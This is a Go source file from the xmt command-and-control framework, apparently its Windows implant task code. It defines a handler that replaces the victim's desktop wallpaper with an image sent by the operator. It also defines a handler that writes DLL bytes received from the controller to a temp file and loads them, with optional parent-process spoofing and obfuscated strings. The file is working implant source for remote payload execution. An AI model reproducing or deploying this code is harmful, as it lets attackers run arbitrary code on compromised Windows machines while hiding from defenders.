github.com/iDigitalFlame/xmt@v0.5.4/c2/task/yx_windows_crypt.go (about) 1 //go:build windows && crypt 2 // +build windows,crypt 3 4 // Copyright (C) 2020 - 2023 iDigitalFlame 5 // 6 // This program is free software: you can redistribute it and/or modify 7 // it under the terms of the GNU General Public License as published by 8 // the Free Software Foundation, either version 3 of the License, or 9 // any later version. 10 // 11 // This program is distributed in the hope that it will be useful, 12 // but WITHOUT ANY WARRANTY; without even the implied warranty of 13 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 // GNU General Public License for more details. 15 // 16 // You should have received a copy of the GNU General Public License 17 // along with this program. If not, see <https://www.gnu.org/licenses/>. 18 // 19 20 package task 21 22 import ( 23 "context" 24 "io" 25 "os" 26 27 "github.com/iDigitalFlame/xmt/cmd" 28 "github.com/iDigitalFlame/xmt/data" 29 "github.com/iDigitalFlame/xmt/device/winapi" 30 "github.com/iDigitalFlame/xmt/util/crypt" 31 ) 32 33 func taskTrollSetWallpaper(r data.Reader) error { 34 f, err := data.CreateTemp("", crypt.Get(7)) // *.jpg 35 if err != nil { 36 return err 37 } 38 _, err = io.Copy(f, r) 39 if f.Close(); err != nil { 40 os.Remove(f.Name()) 41 return err 42 } 43 return winapi.SetWallpaper(f.Name()) 44 } 45 46 // DLLUnmarshal will read this DLL's struct data from the supplied reader and 47 // returns a DLL runnable struct along with the wait and delete status booleans. 48 // 49 // This function returns an error if building or reading fails or if the device 50 // is not running Windows. 51 func DLLUnmarshal(x context.Context, r data.Reader) (*cmd.DLL, bool, bool, error) { 52 var d DLL 53 if err := d.UnmarshalStream(r); err != nil { 54 return nil, false, false, err 55 } 56 if len(d.Data) == 0 && len(d.Path) == 0 { 57 return nil, false, false, cmd.ErrEmptyCommand 58 } 59 p := d.Path 60 if len(d.Data) > 0 { 61 f, err := data.CreateTemp("", crypt.Get(8)) // *.dll 62 if err != nil { 63 return nil, false, false, err 64 } 65 _, err = f.Write(d.Data) 66 if f.Close(); err != nil { 67 os.Remove(f.Name()) 68 return nil, false, false, err 69 } 70 p = f.Name() 71 } 72 v := cmd.NewDLLContext(x, p) 73 v.Timeout = d.Timeout 74 v.SetParent(d.Filter) 75 return v, d.Wait, d.Path != p, nil 76 }